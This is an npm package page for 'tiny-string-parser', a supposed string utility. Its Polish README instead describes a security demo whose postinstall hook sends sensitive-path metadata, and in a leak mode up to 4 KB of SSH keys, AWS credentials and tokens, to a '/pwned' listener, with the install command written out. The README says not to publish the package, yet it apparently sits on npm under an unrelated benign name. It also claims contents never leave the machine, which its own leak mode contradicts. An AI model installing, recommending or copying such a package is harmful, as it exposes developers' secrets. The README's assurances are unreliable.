tiny-string-parser
v0.1.2
Published
Tiny string parser.
Downloads
394
Readme
utils-90ef74dac8dc (DEMO)
⚠️ Nie publikować na npm. Paczka do wewnętrznego demo bezpieczeństwa.
Pokazuje, że npm install uruchamia dowolny kod z postinstall na Twojej maszynie.
Wysyła wyłącznie metadane (jakie wrażliwe ścieżki istnieją, ich rozmiary
i mtime) — nigdy zawartości plików.
Struktura
lovely-purpose-demo/
├── package.json # postinstall hook
├── index.js # udawana biblioteka (slugify/truncate)
├── scripts/
│ └── postinstall.js # "malicious" (benign) payload
├── server/
│ └── server.js # odbiornik na żywym demo
└── README.mdDemo flow
Serwer (terminal A, Twoja maszyna demonstratora):
node server/server.jsZasiej fake sekrety w VM (terminal B, wewnątrz maszyny wirtualnej):
LP_DEMO_VM_OK=1 bash scripts/seed-vm.shTworzy
~/.ssh/id_rsa,~/.aws/credentials,~/.npmrc, token GH — wszystkie treści zaczynają się odLP_DEMO_FAKE_.Zbuduj tarball (zamiast publikować na npm):
npm pack # powstanie np. utils-90ef74dac8dc-0.1.0.tgz„Ofiara" (terminal B, wewnątrz VM):
LP_DEMO_ENDPOINT=http://<host-A>:4444/pwned \ LP_DEMO_LEAK=1 \ npm install ./utils-90ef74dac8dc-0.1.0.tgzW terminalu A pojawi się czerwony blok z listą wrażliwych ścieżek + żółty podgląd zawartości fake-kluczy. Na żywo widać, że „
LP_DEMO_FAKE_" ląduje u Ciebie na serwerze.
Tryby
- Bez
LP_DEMO_LEAK— tylko metadane (stat). Bezpieczny default, gdyby ktoś przypadkiem uruchomił paczkę poza VM. LP_DEMO_LEAK=1— dociąga do 4 KB z każdego pliku. Uruchamiać WYŁĄCZNIE w VM z fake sekretami zseed-vm.sh.
Dlaczego to jest fair demo
- Żadnych zawartości plików nie opuszcza maszyny — tylko
stat(). - Skrypt pisze głośno na stderr, że się wykonał. Żadnej ukrywki.
- Nie idzie na publiczny npm — instalacja z lokalnego tarballa.
LP_DEMO_ENDPOINTtrzeba podać jawnie; bez niego próbuje localhost.
Co powiedzieć zespołowi
„To
npm installjednej paczki. Gdyby zamiast listowania ścieżek ten skrypt czytał~/.ssh/id_rsa,~/.aws/credentials, cookies Chrome czy localStorage zalogowanych domen — zrobiłby to w tym samym miejscu, tym samym uprawnieniem, bez żadnego dodatkowego promptu. Claude Code i vibe-coding zwiększają liczbę paczek, które instalujecie bez czytania. VM albo devcontainer to jedyna realna izolacja."
